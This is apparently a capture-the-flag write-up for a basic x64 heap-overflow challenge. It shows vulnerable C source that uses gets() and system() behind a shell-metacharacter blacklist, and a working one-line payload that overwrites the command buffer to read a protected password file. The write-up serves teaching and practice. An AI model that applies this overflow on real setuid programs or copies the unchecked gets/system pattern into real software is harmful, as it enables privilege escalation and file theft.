ELF x64 - Basic heap overflow

Abdoulkader MOUSSA MOHAMED

February 2023

1 Search vulnerability

Here are the protections on the program :

- ✓ Position Independent Executable
- ✓ Read Only relocations
- ✓ Pile non exécutable
- ✓ Tas non exécutable
- ✓ Distribution aléatoire de l'espace d'adressage
- × Source Fortification
- × Stack-Smashing Protection
- ✓ Accès au code source

Let's firstly read the source code of our program.

```c

void     checkArg(const char *a)
{
  while (*a)
    {
      if (    (*a == ';')
           || (*a == '&')
           || (*a == '|')
           || (*a == ',')
           || (*a == '$')
11            || (*a == '(')
12            || (*a == ')')
13            || (*a == '{')
14            || (*a == '}')
15            || (*a == '`')
16            || (*a == '>')
17            || (*a == '<') ) {
18          puts("Forbidden !!!");
19          exit(2);
20        }
21          a++;
22      }
23  }
24
25  int      main()
26  {
27    char  *arg = malloc(0x20);
28    char  *cmd = malloc(0x400);
29    setreuid(geteuid(), geteuid());
30
31    strcpy(cmd, "/bin/ls -l ");
32
33    printf("Enter directory you want to display : ");
34
35    gets(arg);
36    checkArg(arg);
37
38    strcat(cmd, arg);
39    system(cmd);
40
41    return 0;
42  }
```

We notice that :

∗ The input data provided to the program will be stored in the buffer `arg` using the function `gets`. However, the length of the data is not controlled, while the size of the `arg` buffer is limited. This makes the program vulnerable to heap overflow attacks.

∗ The input data is controlled by `checkArg`, so we can do any injection.

∗ The content of `cmd` at line 39 will be executed.

2 Exploit it !

With `ltrace`, we can see the memory address returned by the malloc function when allocating 32 bytes(for `arg`) and 1024 bytes(for `cmd`) :

```
app-systeme-ch94@challenge03:~$ python -c 'print("A"*10)' | ltrace
    ./ch94
```

```
malloc(32)
                                                  = 0x5594434ff260
malloc(1024)
                                                  = 0x5594434ff290
...
```

So there is a difference of `48` bytes (0x5594434ff290 - 0x5594434ff260) between the memory addresses of `arg` and `cmd`.

If we only do `python -c 'print(" "*48 + "cat .passwd ")' | ./ch94`, `.passwd` will be displayed but also many other files.

So, in order to ensure proper functionality, we can do :

```
app-systeme-ch94@challenge03:~$ python -c 'print(" "*48 + "cat .
    passwd #")' | ./ch94
flag*****
Enter directory you want to display :
```

And we can read our flag.

3 How to correct it

We can correct it by controlling the `size` of input data.